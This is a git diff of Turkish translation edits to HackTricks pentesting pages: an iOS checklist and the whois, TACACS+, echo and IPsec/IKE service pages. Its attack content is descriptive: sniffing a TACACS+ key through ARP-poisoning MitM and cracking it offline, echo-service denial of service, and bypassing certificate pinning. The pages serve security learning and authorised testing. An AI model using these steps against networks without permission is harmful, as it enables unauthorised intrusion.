edin * [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin -* [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography) +* [**Şifreleme fonksiyonlarını kancalayın ve izleyin**](ios-pentesting/#broken-cryptography) ### **Yerel Kimlik Doğrulama** @@ -85,31 +85,31 @@ HackTricks'ı desteklemenin diğer yolları: * [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin * [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin -* [ ] Uygulamanın özel şemayı kullanan başka bir uygulama tarafından **intercept edilebilecek hassas bilgi türlerini bekleyip beklemediğini** kontrol edin -* [ ] Uygulamanın özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin -* [ ] Uygulamanın özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin +* [ ] Uygulamanın, aynı şemayı kaydeden başka bir uygulama tarafından **intercept edilebilecek hassas bilgileri** almayı beklediğini kontrol edin +* [ ] Uygulamanın, özel şemayla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin +* [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden **çağrılabilen hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin * [**Evrensel Bağlantılar**](ios-pentesting/#universal-links) -* [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin +* [ ] Uygulamanın herhangi bir evrensel protokol/şema **kaydettiğini** kontrol edin * [ ] `apple-app-site-association` dosyasını kontrol edin -* [ ] Uygulamanın özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin -* [ ] Uygulamanın özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin +* [ ] Uygulamanın, özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin +* [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden **çağrılabilen hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin * [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md) -* [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin +* [ ] Uygulamanın UIActivities alıp alamayacağını ve özel olarak oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) -* [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin -* [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin +* [ ] Uygulamanın genel panoya herhangi bir şey kopyalayıp kopyalamadığını kontrol edin +* [ ] Uygulamanın genel panodan herhangi bir veriyi kullanıp kullanmadığını kontrol edin * [ ] Hassas verilerin kopyalanıp kopyalanmadığını görmek için panoyu izleyin * [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md) -* [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin +* [ ] Uygulamanın herhangi bir uzantıyı **kullandığını** kontrol edin * [**Web Görünümleri**](ios-pentesting/ios-webviews.md) -* [ ] Kullanılan web görünümlerinin türlerini kontrol edin +* [ ] Kullanılan web görünümlerini kontrol edin * [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin * [ ] Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) -* [ ] Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`) +* [ ] Javascript'in **Native** **metodlara** erişip erişemediğini kontrol edin (`JSContext`, `postMessage`) ### Ağ İletişimi -* [ ] [**İletişime MitM yapın**](ios-pentesting/#network-communication) ve web açıklarını arayın. -* [ ] [**Sertifika host adının**](ios-pentesting/#hostname-check) kontrol edilip edilmediğini kontrol edin +* [ ] [**İletişime MitM**](ios-pentesting/#network-communication) yapın ve web açıklarını arayın. +* [ ] [**Sertifika**](ios-pentesting/#hostname-check) hostname'unun kontrol edilip edilmediğini kontrol edin * [ ] [**Sertifika Pinning**](ios-pentesting/#certificate-pinning) kontrol edin/geçin ### **Çeşitli** @@ -119,7 +119,7 @@ HackTricks'ı desteklemenin diğer yolları: **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -129,10 +129,10 @@ HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. @@ -140,7 +140,7 @@ HackTricks'i desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index 86c5201cd..2b149cee5 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -1,20 +1,20 @@
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-**Try Hard Security Group** +**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -22,7 +22,7 @@ HackTricks'ı desteklemenin diğer yolları: # Temel Bilgiler -**WHOIS** protokolü, belirli veritabanları aracılığıyla **çeşitli İnternet kaynaklarının sahipleri veya kayıt sahipleri hakkında sorgulama yapma** standart bir yöntem olarak hizmet verir. Bu kaynaklar alan adları, IP adresi blokları ve otonom sistemleri gibi çeşitli kaynakları kapsar. Bunların ötesinde, protokol daha geniş bir bilgi yelpazesine erişimde de uygulanır. +**WHOIS** protokolü, belirli veritabanları aracılığıyla **çeşitli İnternet kaynaklarının sahipleri veya kayıt sahipleri hakkında sorgulama yapma** standart bir yöntem olarak hizmet verir. Bu kaynaklar alan adları, IP adresi blokları ve otonom sistemleri gibi çeşitli kaynakları kapsar. Bu protokol, daha geniş bir bilgi yelpazesine erişimde de uygulanır. **Varsayılan port:** 43 ``` @@ -31,7 +31,7 @@ PORT STATE SERVICE ``` # Sırala -Bir alan adı hakkında whois servisinin sahip olduğu tüm bilgileri alın: +Bir whois hizmetinin bir alan adı hakkında sahip olduğu tüm bilgileri alın: ```bash whois -h -p "domain.tld" echo "domain.ltd" | nc -vn @@ -48,7 +48,7 @@ Ayrıca, WHOIS hizmetinin her zaman bilgileri depolamak ve çıkarmak için bir **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -81,7 +81,7 @@ HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index 3095651d9..b83365e54 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -6,17 +6,17 @@ HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları: ## Temel Bilgiler -**Terminal Access Controller Access Control System (TACACS)** protokolü, routerlara veya Network Access Server (NAS) cihazlarına erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Güncellenmiş sürümü olan **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve hesaplama (AAA) olarak ayırır. +**Terminal Access Controller Access Control System (TACACS)** protokolü, routerlara veya Network Access Server (NAS)lara erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Güncellenmiş sürümü olan **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve hesaplama (AAA) olarak ayırır. ``` PORT STATE SERVICE 49/tcp open tacacs @@ -33,7 +33,7 @@ PORT STATE SERVICE ## Kimlik Doğrulama Anahtarını İzleme -Eğer istemci ve TACACS sunucusu iletişimi bir saldırgan tarafından ele geçirilirse, **şifreli kimlik doğrulama anahtarı izlenebilir**. Saldırgan daha sonra **günlüklerde tespit edilmeden anahtar üzerinde yerel bir kaba kuvvet saldırısı deneyebilir**. Anahtarı kaba kuvvet saldırısıyla başarıyla çözerse, saldırgan ağ ekipmanlarına erişim elde eder ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir. +Eğer istemci ve TACACS sunucusu iletişimi bir saldırgan tarafından ele geçirilirse, **şifrelenmiş kimlik doğrulama anahtarı izlenebilir**. Saldırgan daha sonra anahtara karşı **günlüklerde tespit edilmeden yerel bir kaba kuvvet saldırısı deneyebilir**. Anahtarı kaba kuvvet saldırısıyla başarıyla çözerse, saldırgan ağ ekipmanlarına erişim elde eder ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir. ### MitM Saldırısı Gerçekleştirme @@ -45,12 +45,12 @@ Bir **ARP zehirleme saldırısı, Orta Adam (MitM) saldırısı gerçekleştirme ``` sudo loki_gtk.py ``` -Eğer anahtar başarıyla **kaba kuvvet saldırısıyla** (**genellikle MD5 şifreli biçimde)** kırılırsa, **cihaza erişebilir ve TACACS ile şifrelenmiş trafiği şifreleyebiliriz.** +Eğer anahtar başarıyla **kaba kuvvet saldırısıyla** (**genellikle MD5 şifreli biçimde)** kırılırsa, **cihaza erişebilir ve TACACS ile şifrelenmiş trafiği çözebiliriz.** -### Trafik Şifresinin Çözülmesi -Anahtar başarılı bir şekilde kırıldığında, bir sonraki adım **TACACS ile şifrelenmiş trafiği çözmektir**. Wireshark, şifreli TACACS trafiğiyle başa çıkabilir, eğer anahtar sağlanmışsa. Çözümlenen trafiği analiz ederek, **kullanılan banner ve yönetici kullanıcı adı** gibi bilgiler elde edilebilir. +### Trafik Çözme +Anahtar başarılı bir şekilde kırıldığında, bir sonraki adım **TACACS ile şifrelenmiş trafiği çözmektir**. Wireshark, anahtar sağlandığında şifreli TACACS trafiğiyle başa çıkabilir. Çözülen trafiği analiz ederek, **kullanılan banner ve yönetici kullanıcısının kullanıcı adı gibi bilgiler** elde edilebilir. -Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline erişim sağlandığında, saldırgan ağ üzerinde kontrol sağlayabilir. Bu eylemlerin sadece eğitim amaçlı olduğunu ve uygun izin olmadan kullanılmaması gerektiğini unutmamak önemlidir. +Elde edilen kimlik bilgileriyle ağ ekipmanının kontrol paneline erişerek, saldırgan ağ üzerinde kontrol sağlayabilir. Bu eylemlerin sadece eğitim amaçlı olduğunu ve uygun izin olmadan kullanılmaması gerektiğini unutmamak önemlidir. ## Referanslar @@ -58,20 +58,20 @@ Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline er **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin.** +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index 01cbaa4fb..040fb6e71 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -1,20 +1,20 @@
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -22,9 +22,9 @@ HackTricks'ı desteklemenin diğer yolları: # Temel Bilgiler -Bu ana makinede bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçlarıyla tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu aldığı herhangi bir veriyi değiştirmeden geri gönderir.\ -**Aynı veya başka bir makinedeki echo servisine bağlanarak hizmet reddine sebep olmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle etkilenen makineler hizmet dışı bırakılabilir.\ -Bilgi: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) +Bu ana makinede bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçları için tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu, aldığı herhangi bir veriyi değiştirmeden geri gönderir.\ +**Aynı veya başka bir makinedeki echo servisine bağlanarak hizmet reddine neden olmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle etkilenen makineler hizmet dışı bırakılabilir.\ +Bilgi kaynağı: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) **Varsayılan Port:** 7/tcp/udp ``` @@ -51,20 +51,20 @@ Hello echo #This is the response **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin.** +* 💬 **Discord grubuna** katılın (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md index 421ed0662..ae6050629 100644 --- a/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -2,13 +2,13 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. @@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları: **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,13 +24,13 @@ HackTricks'ı desteklemenin diğer yolları: ## Temel Bilgiler -**IPsec**, ağlar arasındaki iletişimi (LAN'dan LAN'a) güvence altına almak için başlıca teknoloji olarak kabul edilir ve uzaktan kullanıcılardan ağ geçidine (uzaktan erişim) hizmet vererek kurumsal VPN çözümleri için omurga görevi görür. +**IPsec**, ağlar arasındaki iletişimi (LAN'dan LAN'a) güvence altına almak için başlıca teknoloji olarak kabul edilir ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimini güvence altına alır, kurumsal VPN çözümleri için omurga görevi görür. -İki nokta arasında bir **güvenlik birliği (SA)** oluşturulması, **IKE** tarafından yönetilir ve kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir: +İki nokta arasında bir **güvenlik birliği (SA)** oluşturulması, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan **IKE** tarafından yönetilir ve ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir: -- **Faz 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikaların kullanımıyla, üç çift mesaj içeren ana mod veya **agresif mod** kullanılarak başarılır. -- **Faz 1.5:** Zorunlu olmasa da, Bu aşama, Kullanıcı kimliğini doğrulayan Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir ve bağlanmaya çalışan kullanıcının kimliğini kullanıcı adı ve şifre gerektirerek doğrular. -- **Faz 2:** Bu aşama, **ESP** ve **AH** ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. Güvenliği artırmak için **Mükemmel İleri Gizlilik (PFS)** sağlamak için Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir. +- **Faz 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikalar kullanılarak, üç çift mesaj içeren ana mod veya **agresif mod** kullanılarak başarılır. +- **Faz 1.5:** Zorunlu olmasa da, Bu aşama, Kullanıcı kimliğini doğrulayan ve kullanıcıdan bir kullanıcı adı ve şifre isteyen Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir. +- **Faz 2:** Bu aşama, **ESP** ve **AH** ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir ve **Mükemmel İleri Gizlilik (PFS)** sağlayarak güvenliği artırır. **Varsayılan port:** 500/udp @@ -46,9 +46,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Geçerli bir dönüşüm bulma** -IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** içeren bir dizi özelliği içerir. +IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, anahtar **dağıtım algoritması** 